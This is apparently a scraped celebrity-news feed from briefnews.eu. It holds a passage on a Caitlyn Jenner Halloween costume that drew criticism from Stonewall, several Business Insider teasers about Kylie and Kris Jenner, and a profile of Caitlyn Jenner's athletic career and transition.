The ‘I am Cait’ costume features a long brunette wig, a sports top with removable marathon number, a pair of shorts and two plastic Olympic medals in reference to Jenner’s Olympic success. It was removed from eBay following the backlash from the transgender community, but remains available on Amazon where it can be purchased online.

The outfit triggered an uproar among transgender activists who found it insulting to people born in the wrong body.

“This is a reminder of how much is left to do to combat the abuse trans people face every day,” a spokesman for LGBT charity Stonewall said.

READ MORE: US swimming authorities to let athletes choose to compete as male or female

“We have become accustomed to insensitive mockery, but had hoped that cisgender people had become tired of such stunts and realized that it is not funny.

“No-one chooses to be trans. I am disappointed that anyone would want to sell this, and hope that no-one will want to buy it,” she added.

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Kylie Jenner wore a bra as a top in broad daylight — and she’s not the only celebrity to do it https://briefnews.eu/kylie-jenner-wore-a-bra-as-a-top-in-broad-daylight-and-shes-not-the-only-celebrity-to-do-it/ https://briefnews.eu/kylie-jenner-wore-a-bra-as-a-top-in-broad-daylight-and-shes-not-the-only-celebrity-to-do-it/#respond Mon, 04 Jun 2018 15:19:47 +0000 http://briefnews.eu/kylie-jenner-wore-a-bra-as-a-top-in-broad-daylight-and-shes-not-the-only-celebrity-to-do-it/ kylier jenner bra as topEthan Miller/Getty Images

  • On Sunday, Kylie Jenner posted two shots from a recent photo shoot on Instagram.
  • In both, Jenner is wearing a monotone outfit consisting of an oversized nude jacket and what appears to be a matching nude skirt.
  • A lacy black bra can also be seen peeking out from under Jenner’s jacket in the two photos.
  • Jenner is the latest celebrity to repurpose lingerie into daywear, a trend that seems to be everywhere lately.

Kylie Jenner is the latest celebrity to repurpose lingerie into daywear, a trend that seems to be everywhere lately.

On Sunday, the Kylie Cosmetics founder posted two shots from a recent photo shoot on Instagram. In both, Jenner is wearing one of her four new lip kits, a raspberry red liquid lipstick and lipliner duo called “Jordy,” that launched Friday. 

See the rest of the story at Business Insider

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People are accusing Kylie Jenner of Photoshopping her 3-month-old daughter’s skin and ears https://briefnews.eu/people-are-accusing-kylie-jenner-of-photoshopping-her-3-month-old-daughters-skin-and-ears/ https://briefnews.eu/people-are-accusing-kylie-jenner-of-photoshopping-her-3-month-old-daughters-skin-and-ears/#respond Mon, 07 May 2018 16:35:54 +0000 http://briefnews.eu/people-are-accusing-kylie-jenner-of-photoshopping-her-3-month-old-daughters-skin-and-ears/ kylie jenner pregnantKylie Jenner/YouTube

  • Kylie Jenner recently posted a series of photos from a tropical family vacation with boyfriend Travis Scott and their daughter Stormi.
  • In one photo, the background behind Stormi looks slightly warped, which many believe indicate Photoshopping.
  • Some people have accused Jenner of editing her daughter’s appearance — specifically her skin and her ear.

Kylie Jenner has continued her Instagram reign into motherhood, regularly sharing photos of her daughter Stormi. And although many fans find these updates adorable and delightful, some people have responded with criticism and controversy.

Recently, Jenner posted a series of photos from a tropical family vacation. Many featured Jenner’s boyfriend and Stormi’s father, Travis Scott, while many others were classic solo shots. One photo in particular, which showed Jenner holding Stormi, drew more attention than others.

See the rest of the story at Business Insider

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Kylie Jenner fleeing Snap might be just the beginning (SNAP) https://briefnews.eu/kylie-jenner-fleeing-snap-might-be-just-the-beginning-snap/ https://briefnews.eu/kylie-jenner-fleeing-snap-might-be-just-the-beginning-snap/#respond Sat, 24 Feb 2018 00:24:22 +0000 http://briefnews.eu/kylie-jenner-fleeing-snap-might-be-just-the-beginning-snap/ Evan SpiegelGetty/Michael Kovac

  • Kylie Jenner tweeted that she doesn’t use Snapchat anymore.
  • That may mean other Snap influencers may do the same, according to one analyst.
  • The larger wave of people staying off the app is a real concern for the company.

Kylie Jenner might not be the only one.

The social-media star tweeted this week that she doesn’t use the app anymore, wiping more than $ 1 billion from Snap’s market capitalization. According to analyst Craig Huber of Huber Research Partners told Business Insider, that could be an indicator that more influencers will leave the app behind.

See the rest of the story at Business Insider

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Kris Jenner confronted Scott Disick about his controversial relationship with 19-year-old Sofia Richie — and he had a savage response https://briefnews.eu/kris-jenner-confronted-scott-disick-about-his-controversial-relationship-with-19-year-old-sofia-richie-and-he-had-a-savage-response/ https://briefnews.eu/kris-jenner-confronted-scott-disick-about-his-controversial-relationship-with-19-year-old-sofia-richie-and-he-had-a-savage-response/#respond Mon, 12 Feb 2018 16:50:23 +0000 http://briefnews.eu/kris-jenner-confronted-scott-disick-about-his-controversial-relationship-with-19-year-old-sofia-richie-and-he-had-a-savage-response/ kris and scottE!

  • Scott Disick, 34, has been dating Sofia Richie, 19, for several months, but the Kardashian family has remained tight-lipped about their feelings until now.
  • On “Keeping Up With the Kardashians,” Kris Jenner decided to question Disick about the relationship and the 15-year age gap between the two.
  • Of course, the conversation was extremely uncomfortable.


When it comes to keeping up with the Kardashians in the most literal sense,
Scott Disick might actually be the most difficult family member to keep tabs on. But Kris Jenner is on the case, as always.  

Disick, who has three children with Kourtney Kardashian, has been making appearances on the 14th season of the family’s show, “Keeping Up With the Kardashians.” While most of his storyline has revolved around Disick co-parenting with his former girlfriend amidst his recovery from addiction, the show finally took a much-needed but very uncomfortable dive into Disick’s controversial dating life.

See the rest of the story at Business Insider

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Kylie Jenner announced the birth of her daughter with an honest and heartwarming Instagram post https://briefnews.eu/kylie-jenner-announced-the-birth-of-her-daughter-with-an-honest-and-heartwarming-instagram-post/ https://briefnews.eu/kylie-jenner-announced-the-birth-of-her-daughter-with-an-honest-and-heartwarming-instagram-post/#respond Sun, 04 Feb 2018 21:51:07 +0000 http://briefnews.eu/kylie-jenner-announced-the-birth-of-her-daughter-with-an-honest-and-heartwarming-instagram-post/ kylie jenner travis scottBob Levey/Stringer/Getty Images

  • People have been speculating for months that Kylie Jenner was pregnant with her first child.
  • On Sunday, the “Keeping Up With the Kardashian” star shared on Instagram that not only has she been pregnant the past nine months, but that she gave birth earlier this week.
  • In the post, Jenner apologized for keeping fans in the dark, but said she, “needed to prepare for this role of a lifetime in the most positive, stress free, and healthy way.”
  • The Kylie Cosmetics founder also announced the sex of her baby — a beautiful girl.

 

For months, people have been speculating if Kylie Jenner was pregnant. And on Sunday, the reality star confirmed the news in a major way.  

See the rest of the story at Business Insider

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Caitlyn Jenner before and after: Bruce Jenner vs Caitlyn https://briefnews.eu/caitlyn-jenner-before-and-after-bruce-jenner-vs-caitlyn/ https://briefnews.eu/caitlyn-jenner-before-and-after-bruce-jenner-vs-caitlyn/#respond Thu, 04 Jan 2018 17:21:13 +0000 http://briefnews.eu/caitlyn-jenner-before-and-after-bruce-jenner-vs-caitlyn/

Cailtyn Jenner is the hugely successful gold-winning US Olympic athlete and a US reality TV star who boldly revealed her identity as a transwoman – undergoing a subsequent gender transition.

The 68-year-old, who was married to Kris Jenner – a star and producer of the show Keeping Up with the Kardashians – has been campaigning for transgender rights since making her journey public.

She recently appeared in an interview with Piers Morgan in which the star appeared to become agitated while being interviewed by Morgan, 52.

The ITV host asked the Olympian about her physical change, specifically asking about “certain areas we know about”. 

The US star athlete retorted: “You made a comment there and that’s why you would get in trouble, OK? You said ‘certain areas’ – that, to a trans-person, is disrespectful.”

Morgan held up a figurine of Bruce Jenner winning the Olympics, and Caitlyn called the Briton out on his light treatment of transgender issues.

She said: “It’s not funny. It’s life. It’s a very serious part of my life.

“I take that very seriously and so out of respect to myself and the community, it’s not something that you joke about. This is serious stuff. People die over these issues. It’s not a joke.”

What is Caitlyn Jenner’s net worth?

Caitlyn grew up under her given name William Bruce Jenner in Mount Kisco, New York, and struggled with dyslexia as a child.

However, she showed incredible athletic potential and this was soon noticed after earning a football scholarship for Graceland College. 

After she injured her knee the athlete switched her attention to the decathlon, which is an Olympic discipline that includes 100-metre sprint, 110-metre hurdles, 400-metre event, 1500-metre event, long jump, high jump, shot put, discus throw, javelin throw and pole vault. 

Jenner won the gold medal at the 1976 Olympic Games in Montreal.

After her Olympic success, Cailtyn starred in various made for television films, including The Golden Moment: An Olympic Love Story. She appeared on various games shows and was on the US version of I’m a Celebrity…Get Me Out of Here!.

Caitlyn has been married three times to Chrystie Crownover, Linda Thompson and Kris Kardashian, who she married in 1991, and has six children who are Burt, Casey, Brandon, Brody, Kylie and Kendall.

She officially revealed her identity as a transgender woman in an interview with Diane Sawyer in April 2015, saying: “For all intents and purposes, I’m a woman.”

Caitlyn completed sex reassignment surgery in January 2017 and is now a passionate advocate for transgender rights. The athlete wowed with a seminal cover for Vanity Fair’s June 2015 issue, in which she posed in a white bustier. She was named one of the women in Glamour magazine’s Women of the Year Awards in 2015.

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